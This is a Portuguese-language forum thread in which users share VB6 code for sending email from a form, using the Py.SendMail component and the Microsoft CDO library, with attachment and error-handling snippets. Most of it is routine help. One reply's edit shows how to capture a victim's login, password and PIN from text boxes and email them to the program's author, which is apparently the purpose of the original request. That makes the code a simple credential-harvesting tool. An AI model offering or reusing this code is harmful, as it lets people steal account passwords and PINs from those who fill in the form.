Enviar e-mails

[Chk]

Oi Gente , quero fazer um programa em vb6 , ou vb 2008 , que no tal fique mais ou menos assim:

Ai quando a pessoa clicar em "Aplicar" tudo o que ela digitou , vá para meu e-mail.

Como faço isso

[kuroi]

use o componente py.sendmail: http://www.graymalkinsoftware.net/gspagina...age=Py.Sendmail

[Matheus-vb6]

Amigo, tenho um post exatamente parecido com o seu:

Da uma olhada la se tiver mais duvidas poste aki, la esta resolvido já!

Link

Boa sorte

[Chk]

não tem um metodo mais facil?

coloca ai o que tenho que por no form , e os codigos..

sou iniciante T-T

[kuroi]

se você fizer o download do py.sendmail no link indicado, se você entrar na pasta onde foi instalado (padrão arquivos de programas), tem uma pasta com exemplos la e tem um pra vb6 com todo o codigo q você precisa saber, da uma olhada la, qualquer coisa pergunta.

[Chk]

so que da um errinho no imediate.

[kuroi]

errinho?? explica isso direito ne...

e você ta passando um endereco smtp valido e tb login e senha existentes no servidor??

da uma olhada no tópico q o matheus passou q falamos sobre tudo isso la.

[Matheus-vb6]

Seguinte, qual e-mail você esta tentando usar para enviar?? Hotmail por exemplo não da! pois eles tem uma proteção q n permite! Recomendo a você o yahoo!

Utilize esse código após instala o Py.sendmail!

Set k = CreateObject("Py.SendMail")
    
    k.SMTPServer = "smtp.mail.yahoo.com.br"
    k.Recipient = "nome de quem vai receber"
    k.To = "e-mail q receberá"
    
    k.Sender = "Nome de quem envio"
    k.From = "....@yahoo.com"
    
    k.Cc = ""
    k.Bcc = ""
    k.Subject = "Assunto"
    k.Body = "Corpo da mensagem!"

    'Em caso de autenticação
    k.User = "....@yahoo.com"
    k.Password = "Sua senha"
              
    retorno = k.send()
        
    
    lblRetorno = "Retorno: " & retorno
    Debug.Print retorno
    MsgBox "E-mail enviado!", vbInformation, "E-mail!"
    End
    On Error GoTo Erro
Erro:
    MsgBox "Não foi possível concluir a operação!", vbCritical, "Erro!"
    End If

edit---

para chegar o login senha e pin, crie variaveis e faça assim no k.body:

dim login,senha,pin as string

login= txtlogin.text

senha= txtsenha.text

pin = txtpin.text

k.Body = "Login: " & login & "<BR>" & "Senha: " & senha & "<BR>" & "Pin: " & pin

Boa sorte ;)

Editado Julho 26, 2010 por Matheus-vb6

[lramos7]

olá!

Você poderia utilizar também a referencia

"Microsoft CDO for windows 2000 Library"

Muito bom, eu utilizazo para enviar e-mails, pratico e fácil.

Private Sub cmdEnviar_Click()
        Dim CDO As CDO.Message
        Set CDO = New CDO.Message
    
        caminho = "[url="http://schemas.microsoft.com/cdo/configuration/"]http://schemas.microsoft.com/cdo/configuration/[/url]"
        CDO.From = "[email="emailorigem@origem.com.br"]emailorigem@origem.com.br[/email]"
        CDO.To = [email="emaildestino@destino.com.br"]emaildestino@destino.com.br[/email]
        CDO.Subject = "Assunto"
        
        CDO.TextBody = "Texto do email"
        
        CDO.Configuration.Fields.Item(caminho & "smtpauthenticate") = 1
        CDO.Configuration.Fields.Item(caminho & "smtpserverport") = 25
        CDO.Configuration.Fields.Item(caminho & "sendusing") = 2
        CDO.Configuration.Fields.Item(caminho & "smtpserver") = "smtpserver"
        CDO.Configuration.Fields.Item(caminho & "sendusername") = "contadeemail"
        CDO.Configuration.Fields.Item(caminho & "sendpassword") = "senha"
        CDO.Configuration.Fields.Update
        
        CDO.Send
    
        Set CDO = Nothing
End Sub

Abraços

Leandro

[MRMB]

Só para constar....resolvi o problema de envio de email assim..

Adicionei referência no projeto a Microsoft CDO for Windows 2000 Library que fica no System32 (cdosys.dll).

O melhor de usar essa "biblioteca" é que funciona no Windows 7 32 e 64 bits sem maiores dificuldades.

Private Sub Command1_Click()
    
  Dim MailMsg As CDO.Message
  Dim MailConf As CDO.Configuration
  Dim MCFields As Object
    
  Set MailMsg = New CDO.Message
  Set MailConf = New CDO.Configuration
  Set MCFields = MailConf.Fields


  MCFields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2  '  SMTP
  MCFields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.exemplo.com.br" 
  MCFields.Item(cdoSMTPAuthenticate) = cdoBasic
    
  MCFields.Update

  Set MailMsg.Configuration = MailConf

  MailMsg.TextBody = Text2.Text
  MailMsg.Subject = "Título do email"
  MailMsg.To = "email destino"
  MailMsg.From =  "email origem"

  MailMsg.AddAttachment "Caminho do arquivo a ser anexado"

  MailMsg.Send
  
End Sub

Ficou fino!

Também testei o Py.SendMail e o mesmo também funcionou. Mas achei o código acima mais prático.

T+

[Matheus-vb6]

MailMsg.AddAttachment "Caminho do arquivo a ser anexado"

Achei interressante isso de anexar arquivo... eu tenho preferencia pelo py.sendmail por já te me acostumado...mas gostaria de saber... o py.sendmail tem essa função de anexar arquivo?

[MRMB]

Tem essa função no py.sendmail...

Os códigos abaixo é para anexar usando o py.sendmail são os mesmos códigos de exemplos que tem na instalação do py.sendmail

Anexo "Comum"

Private Sub cmdAnexo_Click()
    On Error Resume Next
    CDlg.Filter = "Todos os Arquivos|*.*"
    CDlg.ShowOpen
    If Err.Number = 0 Then 'Não Cancelou
        lstAnexos.AddItem CDlg.FileName
    End If
    On Error GoTo 0
End Sub

Anexo Imagem

On Error Resume Next
    CDlg.Filter = "Arquivos de imagem|*.jpg;*.gif;*.bmp;*.jpeg"
    CDlg.ShowOpen
    If Err.Number = 0 Then 'Não Cancelou
        lstImagens.AddItem CDlg.FileName
        
        txtMensagem.Text = txtMensagem.Text & "<img src=" & Chr(34) & "cid:" & lstImagens.ListCount - 1 & Chr(34) & " />"
    End If
    On Error GoTo 0

Na hora de enviar anexa todos os itens...

Private Sub cmdEnviar_Click()
    Set k = CreateObject("Py.SendMail")
    
    k.SMTPServer = txtServidor.Text
    
    k.Recipient = txtNomePara.Text
    k.To = txtEmailPara.Text
    
    k.Sender = txtNomeDe.Text
    k.From = txtEmailDe.Text
    
    k.Cc = txtCc.Text
    k.Bcc = txtBcc.Text
    k.Subject = txtAssunto.Text
    k.Body = txtMensagem.Text
    k.PureText = chkTextoPuro.Value
    
    'Em caso de autenticação
    'MsgBox "Informar usuário e senha!"
    'k.User = "seu_email"
    'k.Password = "senha"
    
    ' INICIO - TODOS OS ARQUIVOS
    For i = 0 To lstAnexos.ListCount - 1
        k.AttachFile lstAnexos.List(i)
    Next i
    
    For i = 0 To lstImagens.ListCount - 1
        k.InsertImage lstImagens.List(i)
    Next i
   ' FIM   

    retorno = k.Send()
    lblRetorno = "Retorno: " & retorno
    Debug.Print retorno
End Sub

T+ pode testar que é fino...irá funcionar sem problema.

[Matheus-vb6]

Funcionou sim :D

attachfile e insertimage..

irei me lembrar :D

Mas tipo... ele está fazendo um upload, então pode ocorrer de corromper?

[MRMB]

Matheus-vb6,

penso que caso ocorra erro ("corromper") o método de envio irá retornar erro. Contudo, não testei essa situação em específico.

T+

[Matheus-vb6]

ai no caso só configuro on error goto?

[MRMB]

Isso trata o erro que retornará número especifico.

Private Sub EnviarEmail()
   
  
  On Error GoTo TrataErro

  ' Rotina que envia o e-mail, caso ocorra erro irá para "TrataErro:".

  On Error GoTo 0
  
  Exit Sub
  
TrataErro:
  Call MsgBox(Err.Number, vbCritical, "Número do erro")
  Call MsgBox(Err.Description, vbCritical, "Descrição do erro")
  
End Sub

No caso você consegue capturar o número do erro e validar "Err.Number" em um "if", assim pode fazer um tratamento especifico para cada situação (ex: corromper).

T+

[Matheus-vb6]

a sim, já tenho noção de como fazer, só gerar condição com err.number=..

vlwss

Abraços